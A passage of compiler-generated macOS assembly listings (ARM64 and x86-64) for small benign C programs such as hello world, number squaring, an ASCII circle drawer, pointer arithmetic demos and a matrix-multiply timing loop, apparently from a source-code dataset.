%rax addq %rax, %rsi leaq L_.str.1(%rip), %rdi movb $0, %al callq _scanf ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 movl -1600136(%rbp), %eax addl $1, %eax movl %eax, -1600136(%rbp) jmp LBB0_5 LBB0_8: movl $0, -1600160(%rbp) movl $0, -1600140(%rbp) movl $0, -1600136(%rbp) LBB0_9: ## =>This Inner Loop Header: Depth=1 movl -1600136(%rbp), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl -1600144(%rbp), %ecx movb %al, -1600161(%rbp) ## 1-byte Spill jge LBB0_11 ## %bb.10: ## in Loop: Header=BB0_9 Depth=1 movl -1600140(%rbp), %eax cmpl -1600148(%rbp), %eax setl %al movb %al, -1600161(%rbp) ## 1-byte Spill LBB0_11: ## in Loop: Header=BB0_9 Depth=1 movb -1600161(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_12 jmp LBB0_19 LBB0_12: ## in Loop: Header=BB0_9 Depth=1 movslq -1600136(%rbp), %rax movl -400032(%rbp,%rax,4), %eax subl -1600152(%rbp), %eax movslq -1600140(%rbp), %rcx cmpl -800064(%rbp,%rcx,4), %eax jle LBB0_14 ## %bb.13: ## in Loop: Header=BB0_9 Depth=1 movl -1600140(%rbp), %eax addl $1, %eax movl %eax, -1600140(%rbp) jmp LBB0_18 LBB0_14: ## in Loop: Header=BB0_9 Depth=1 movslq -1600136(%rbp), %rax movl -400032(%rbp,%rax,4), %eax addl -1600156(%rbp), %eax movslq -1600140(%rbp), %rcx cmpl -800064(%rbp,%rcx,4), %eax jge LBB0_16 ## %bb.15: ## in Loop: Header=BB0_9 Depth=1 movl -1600136(%rbp), %eax addl $1, %eax movl %eax, -1600136(%rbp) jmp LBB0_17 LBB0_16: ## in Loop: Header=BB0_9 Depth=1 movl -1600136(%rbp), %ecx addl $1, %ecx movl %ecx, -1600136(%rbp) movslq -1600160(%rbp), %rax movl %ecx, -1200096(%rbp,%rax,4) movl -1600140(%rbp), %ecx addl $1, %ecx movl %ecx, -1600140(%rbp) movl -1600160(%rbp), %eax movl %eax, %edx addl $1, %edx movl %edx, -1600160(%rbp) cltq movl %ecx, -1600128(%rbp,%rax,4) LBB0_17: ## in Loop: Header=BB0_9 Depth=1 jmp LBB0_18 LBB0_18: ## in Loop: Header=BB0_9 Depth=1 jmp LBB0_9 LBB0_19: movl -1600160(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf movl $0, -1600136(%rbp) LBB0_20: ## =>This Inner Loop Header: Depth=1 movl -1600136(%rbp), %eax cmpl -1600160(%rbp), %eax jge LBB0_23 ## %bb.21: ## in Loop: Header=BB0_20 Depth=1 movslq -1600136(%rbp), %rax movl -1200096(%rbp,%rax,4), %esi movslq -1600136(%rbp), %rax movl -1600128(%rbp,%rax,4), %edx leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf ## %bb.22: ## in Loop: Header=BB0_20 Depth=1 movl -1600136(%rbp), %eax addl $1, %eax movl %eax, -1600136(%rbp) jmp LBB0_20 LBB0_23: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_25 ## %bb.24: xorl %eax, %eax addq $1600176, %rsp ## imm = 0x186AB0 popq %rbp retq LBB0_25: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d%d%d%d" L_.str.1: ## @.str.1 .asciz "%d" L_.str.2: ## @.str.2 .asciz "%d\n" L_.str.3: ## @.str.3 .asciz "%d %d\n" .subsections_via_symbols
the_stack_data/117328228.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #8] ; 4-byte Folded Spill stur wzr, [x29, #-4] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldr w0, [sp, #8] ; 4-byte Folded Reload ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Hello World!" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Hello World!" .subsections_via_symbols
the_stack_data/916968.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _wcstof ; -- Begin function wcstof .p2align 2 _wcstof: ; @wcstof .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] str x1, [sp] movi d0, #0000000000000000 add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _wcstof ## -- Begin function wcstof .p2align 4, 0x90 _wcstof: ## @wcstof .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) xorps %xmm0, %xmm0 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/897619.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 stur w8, [x29, #-12] ; 4-byte Folded Spill stur wzr, [x29, #-4] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf ldur w8, [x29, #-8] ldur w9, [x29, #-8] mul w10, w8, w9 mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldur w0, [x29, #-12] ; 4-byte Folded Reload ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Enter a num: " l_.str.1: ; @.str.1 .asciz "%d" l_.str.2: ; @.str.2 .asciz "The sq of the num is - %d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf movl -8(%rbp), %esi imull -8(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Enter a num: " L_.str.1: ## @.str.1 .asciz "%d" L_.str.2: ## @.str.2 .asciz "The sq of the num is - %d" .subsections_via_symbols
the_stack_data/43887711.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] str wzr, [sp, #8] b LBB0_1 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ldr w8, [sp, #8] subs w8, w8, #40 cset w8, gt tbnz w8, #0, LBB0_11 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 str wzr, [sp, #4] b LBB0_3 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #4] subs w8, w8, #40 cset w8, gt tbnz w8, #0, LBB0_9 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=2 ldr w0, [sp, #4] ldr w1, [sp, #8] bl _circle subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=2 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_7 LBB0_6: ; in Loop: Header=BB0_3 Depth=2 adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_7 LBB0_7: ; in Loop: Header=BB0_3 Depth=2 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_3 Depth=2 ldr w8, [sp, #4] add w8, w8, #1 str w8, [sp, #4] b LBB0_3 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB0_10 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB0_1 LBB0_11: mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _circle ; -- Begin function circle .p2align 2 _circle: ; @circle .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] str w1, [sp, #8] ldr w8, [sp, #12] subs w8, w8, #20 ldr w9, [sp, #12] subs w9, w9, #20 mul w8, w8, w9 ldr w9, [sp, #8] subs w9, w9, #20 ldr w10, [sp, #8] subs w10, w10, #20 mul w9, w9, w10 add w8, w8, w9 subs w8, w8, #400 cset w8, gt and w9, w8, #0x1 mov w8, #0 ands w9, w9, #0x1 csinc w0, w8, wzr, eq add sp, sp, #16 ret .cfi_endproc ; -- End function .section __TEXT,__const .globl _R ; @R .p2align 2 _R: .long 20 ; 0x14 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz " " l_.str.1: ; @.str.1 .asciz " *" l_.str.2: ; @.str.2 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $0, -8(%rbp) LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 cmpl $40, -8(%rbp) jg LBB0_11 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl $0, -12(%rbp) LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $40, -12(%rbp) jg LBB0_9 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movl -12(%rbp), %edi movl -8(%rbp), %esi callq _circle cmpl $0, %eax je LBB0_6 ## %bb.5: ## in Loop: Header=BB0_3 Depth=2 leaq L_.str(%rip), %rdi movb $0, %al callq _printf jmp LBB0_7 LBB0_6: ## in Loop: Header=BB0_3 Depth=2 leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf LBB0_7: ## in Loop: Header=BB0_3 Depth=2 jmp LBB0_8 LBB0_8: ## in Loop: Header=BB0_3 Depth=2 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB0_3 LBB0_9: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf ## %bb.10: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_1 LBB0_11: xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _circle ## -- Begin function circle .p2align 4, 0x90 _circle: ## @circle .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl -4(%rbp), %edx subl $20, %edx movl -4(%rbp), %eax subl $20, %eax imull %eax, %edx movl -8(%rbp), %eax subl $20, %eax movl -8(%rbp), %ecx subl $20, %ecx imull %ecx, %eax addl %eax, %edx xorl %eax, %eax movl $1, %ecx cmpl $400, %edx ## imm = 0x190 cmovgl %ecx, %eax popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__const .globl _R ## @R .p2align 2 _R: .long 20 ## 0x14 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz " " L_.str.1: ## @.str.1 .asciz " *" L_.str.2: ## @.str.2 .asciz "\n" .subsections_via_symbols
the_stack_data/95238.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/220454791.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur wzr, [x29, #-36] adrp x9, l___const.main.b@PAGE add x9, x9, l___const.main.b@PAGEOFF ldr q0, [x9] sub x8, x29, #32 stur q0, [x29, #-32] ldr w9, [x9, #16] stur w9, [x29, #-16] str x8, [sp, #32] ldr x11, [sp, #32] ldr x8, [sp, #32] add x10, x8, #4 ldr x8, [sp, #32] add x8, x8, #8 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldr x8, [sp, #32] ldr w8, [x8] ; implicit-def: $x11 mov x11, x8 ldr x8, [sp, #32] ldr w8, [x8, #4] ; implicit-def: $x10 mov x10, x8 ldr x8, [sp, #32] ldr w9, [x8, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf ldur w8, [x29, #-32] ; implicit-def: $x11 mov x11, x8 ldur w8, [x29, #-28] ; implicit-def: $x10 mov x10, x8 ldur w9, [x29, #-24] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl ___stack_chk_fail LBB0_2: mov w0, #0 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .section __TEXT,__const .p2align 2 ; @__const.main.b l___const.main.b: .long 1 ; 0x1 .long 2 ; 0x2 .long 3 ; 0x3 .long 4 ; 0x4 .long 5 ; 0x5 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "p->%p, p+1 -> %p,p+2 -> %p \n" l_.str.1: ; @.str.1 .asciz "p:%d,*(p+1):%d,*(p+2):%d \n" l_.str.2: ; @.str.2 .asciz "b:%d,*(b+1):%d,*(b+2):%d \n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -36(%rbp) movq l___const.main.b(%rip), %rax movq %rax, -32(%rbp) movq l___const.main.b+8(%rip), %rax movq %rax, -24(%rbp) movl l___const.main.b+16(%rip), %eax movl %eax, -16(%rbp) leaq -32(%rbp), %rax movq %rax, -48(%rbp) movq -48(%rbp), %rsi movq -48(%rbp), %rdx addq $4, %rdx movq -48(%rbp), %rcx addq $8, %rcx leaq L_.str(%rip), %rdi movb $0, %al callq _printf movq -48(%rbp), %rax movl (%rax), %esi movq -48(%rbp), %rax movl 4(%rax), %edx movq -48(%rbp), %rax movl 8(%rax), %ecx leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf movl -32(%rbp), %esi movl -28(%rbp), %edx movl -24(%rbp), %ecx leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_2 ## %bb.1: xorl %eax, %eax addq $48, %rsp popq %rbp retq LBB0_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__const .p2align 4 ## @__const.main.b l___const.main.b: .long 1 ## 0x1 .long 2 ## 0x2 .long 3 ## 0x3 .long 4 ## 0x4 .long 5 ## 0x5 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "p->%p, p+1 -> %p,p+2 -> %p \n" L_.str.1: ## @.str.1 .asciz "p:%d,*(p+1):%d,*(p+2):%d \n" L_.str.2: ## @.str.2 .asciz "b:%d,*(b+1):%d,*(b+2):%d \n" .subsections_via_symbols
the_stack_data/220455419.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function GetWallTime lCPI0_0: .quad 0x412e848000000000 ; double 1.0E+6 .section __TEXT,__text,regular,pure_instructions .globl _GetWallTime .p2align 2 _GetWallTime: ; @GetWallTime .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _GetWallTime.start@PAGE ldr x8, [x8, _GetWallTime.start@PAGEOFF] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: add x0, sp, #8 mov x1, #0 bl _gettimeofday ldr x8, [sp, #8] adrp x9, _GetWallTime.start@PAGE str x8, [x9, _GetWallTime.start@PAGEOFF] ldrsw x8, [sp, #16] adrp x9, _GetWallTime.startu@PAGE str x8, [x9, _GetWallTime.startu@PAGEOFF] movi d0, #0000000000000000 stur d0, [x29, #-8] b LBB0_3 LBB0_2: add x0, sp, #8 mov x1, #0 bl _gettimeofday ldr x8, [sp, #8] adrp x9, _GetWallTime.start@PAGE ldr x9, [x9, _GetWallTime.start@PAGEOFF] subs x8, x8, x9 scvtf d0, x8 ldrsw x8, [sp, #16] adrp x9, _GetWallTime.startu@PAGE ldr x9, [x9, _GetWallTime.startu@PAGEOFF] subs x8, x8, x9 scvtf d1, x8 adrp x8, lCPI0_0@PAGE ldr d2, [x8, lCPI0_0@PAGEOFF] fdiv d1, d1, d2 fadd d0, d0, d1 stur d0, [x29, #-8] b LBB0_3 LBB0_3: ldur d0, [x29, #-8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function main lCPI1_0: .quad 0x412e848000000000 ; double 1.0E+6 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #352 .cfi_def_cfa_offset 352 stp x28, x27, [sp, #320] ; 16-byte Folded Spill stp x29, x30, [sp, #336] ; 16-byte Folded Spill add x29, sp, #336 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub x8, x29, #144 str x8, [sp, #32] ; 8-byte Folded Spill adrp x9, ___stack_chk_guard@GOTPAGE ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] ldr x9, [x9] stur x9, [x29, #-24] stur wzr, [x29, #-108] stur w0, [x29, #-112] str x1, [x8, #24] mov w0, #1 bl _srand mov w8, #200 str w8, [sp, #124] str w8, [sp, #120] ldr w8, [sp, #124] str w8, [sp, #112] ldr w8, [sp, #120] str w8, [sp, #108] fmov s0, #1.00000000 str s0, [sp, #116] ldr w8, [sp, #124] ldr w9, [sp, #124] mul w8, w8, w9 add w9, w8, #15 mov w8, #16 str w8, [sp, #44] ; 4-byte Folded Spill sdiv w9, w9, w8 mul w8, w8, w9 str w8, [sp, #76] ldrsw x0, [sp, #76] mov x1, #4 str x1, [sp, #48] ; 8-byte Folded Spill bl _calloc ldr w8, [sp, #44] ; 4-byte Folded Reload ldr x1, [sp, #48] ; 8-byte Folded Reload str x0, [sp, #80] ldr w9, [sp, #124] ldr w10, [sp, #120] mul w9, w9, w10 add w9, w9, #15 sdiv w9, w9, w8 mul w8, w8, w9 str w8, [sp, #60] ldrsw x0, [sp, #60] bl _calloc str x0, [sp, #64] mov x0, #2048 movk x0, #64, lsl #16 bl _malloc stur x0, [x29, #-160] str wzr, [sp, #156] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldrsw x8, [sp, #156] mov x9, #256 movk x9, #8, lsl #16 subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB1_7 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #156] mov w10, #3 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 mov w8, #-1 str w8, [sp, #28] ; 4-byte Folded Spill b LBB1_5 LBB1_4: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #156] mov w10, #2 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 str w8, [sp, #28] ; 4-byte Folded Spill b LBB1_5 LBB1_5: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #28] ; 4-byte Folded Reload scvtf d0, w8 ldur x8, [x29, #-160] ldrsw x9, [sp, #156] str d0, [x8, x9, lsl #3] b LBB1_6 LBB1_6: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #156] add w8, w8, #1 str w8, [sp, #156] b LBB1_1 LBB1_7: stur wzr, [x29, #-124] b LBB1_8 LBB1_8: ; =>This Loop Header: Depth=1 ; Child Loop BB1_10 Depth 2 ; Child Loop BB1_14 Depth 2 ; Child Loop BB1_18 Depth 2 ldur w8, [x29, #-124] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB1_26 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_8 Depth=1 mov w0, #1 bl _srand str wzr, [sp, #156] b LBB1_10 LBB1_10: ; Parent Loop BB1_8 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #156] ldr w9, [sp, #76] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_13 b LBB1_11 LBB1_11: ; in Loop: Header=BB1_10 Depth=2 bl _rand scvtf s0, w0 ldr x8, [sp, #80] ldrsw x9, [sp, #156] str s0, [x8, x9, lsl #2] b LBB1_12 LBB1_12: ; in Loop: Header=BB1_10 Depth=2 ldr w8, [sp, #156] add w8, w8, #1 str w8, [sp, #156] b LBB1_10 LBB1_13: ; in Loop: Header=BB1_8 Depth=1 ldr x8, [sp, #80] str x8, [sp, #96] str wzr, [sp, #156] b LBB1_14 LBB1_14: ; Parent Loop BB1_8 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #156] ldr w9, [sp, #60] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_17 b LBB1_15 LBB1_15: ; in Loop: Header=BB1_14 Depth=2 bl _rand scvtf s0, w0 ldr x8, [sp, #64] ldrsw x9, [sp, #156] str s0, [x8, x9, lsl #2] b LBB1_16 LBB1_16: ; in Loop: Header=BB1_14 Depth=2 ldr w8, [sp, #156] add w8, w8, #1 str w8, [sp, #156] b LBB1_14 LBB1_17: ; in Loop: Header=BB1_8 Depth=1 ldr x8, [sp, #64] str x8, [sp, #88] movi d0, #0000000000000000 str d0, [sp, #168] str wzr, [sp, #156] b LBB1_18 LBB1_18: ; Parent Loop BB1_8 Depth=1 ; => This Inner Loop Header: Depth=2 ldrsw x8, [sp, #156] mov x9, #256 movk x9, #8, lsl #16 subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB1_21 b LBB1_19 LBB1_19: ; in Loop: Header=BB1_18 Depth=2 ldur x8, [x29, #-160] ldrsw x9, [sp, #156] ldr d1, [x8, x9, lsl #3] ldr d0, [sp, #168] fadd d0, d0, d1 str d0, [sp, #168] b LBB1_20 LBB1_20: ; in Loop: Header=BB1_18 Depth=2 ldr w8, [sp, #156] add w8, w8, #1 str w8, [sp, #156] b LBB1_18 LBB1_21: ; in Loop: Header=BB1_8 Depth=1 ldr d0, [sp, #168] fmov d1, #10.00000000 fcmp d0, d1 cset w9, pl ; implicit-def: $x8 mov x8, x9 ands x8, x8, #0x1 cset w8, eq tbnz w8, #0, LBB1_23 b LBB1_22 LBB1_22: adrp x0, l___func__.main@PAGE add x0, x0, l___func__.main@PAGEOFF adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov w2, #122 adrp x3, l_.str.1@PAGE add x3, x3, l_.str.1@PAGEOFF bl ___assert_rtn LBB1_23: ; in Loop: Header=BB1_8 Depth=1 b LBB1_24 LBB1_24: ; in Loop: Header=BB1_8 Depth=1 bl _GetWallTime str d0, [sp, #136] ldr w0, [sp, #124] ldr w1, [sp, #120] ldr s0, [sp, #116] ldr w2, [sp, #112] ldr w3, [sp, #108] ldr s1, [sp, #104] ldr x4, [sp, #96] ldr x5, [sp, #88] bl _strmm bl _GetWallTime str d0, [sp, #128] ldr d0, [sp, #128] ldr d1, [sp, #136] fsub d0, d0, d1 ldursw x9, [x29, #-124] sub x8, x29, #104 str d0, [x8, x9, lsl #3] b LBB1_25 LBB1_25: ; in Loop: Header=BB1_8 Depth=1 ldur w8, [x29, #-124] add w8, w8, #1 stur w8, [x29, #-124] b LBB1_8 LBB1_26: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w9, [sp, #124] ldr w10, [sp, #120] mul w9, w9, w10 ldr w10, [sp, #124] ldr w11, [sp, #124] mul w10, w10, w11 ldr w11, [sp, #124] mul w10, w10, w11 mov w11, #2 sdiv w10, w10, w11 add w9, w9, w10 ldr w10, [sp, #124] ldr w11, [sp, #124] mul w10, w10, w11 add w9, w9, w10 scvtf d0, w9 str d0, [sp, #160] ldr d0, [x8, #40] str d0, [x8, #8] ldr d0, [x8, #40] stur d0, [x29, #-152] ldr d0, [x8, #40] str d0, [x8] mov w8, #1 stur w8, [x29, #-124] b LBB1_27 LBB1_27: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-124] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB1_34 b LBB1_28 LBB1_28: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr d0, [x8, #8] ldursw x9, [x29, #-124] sub x8, x29, #104 ldr d1, [x8, x9, lsl #3] fcmp d0, d1 cset w8, le tbnz w8, #0, LBB1_30 b LBB1_29 LBB1_29: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldursw x10, [x29, #-124] sub x9, x29, #104 ldr d0, [x9, x10, lsl #3] str d0, [x8, #8] b LBB1_30 LBB1_30: ; in Loop: Header=BB1_27 Depth=1 ldur d0, [x29, #-152] ldursw x9, [x29, #-124] sub x8, x29, #104 ldr d1, [x8, x9, lsl #3] fcmp d0, d1 cset 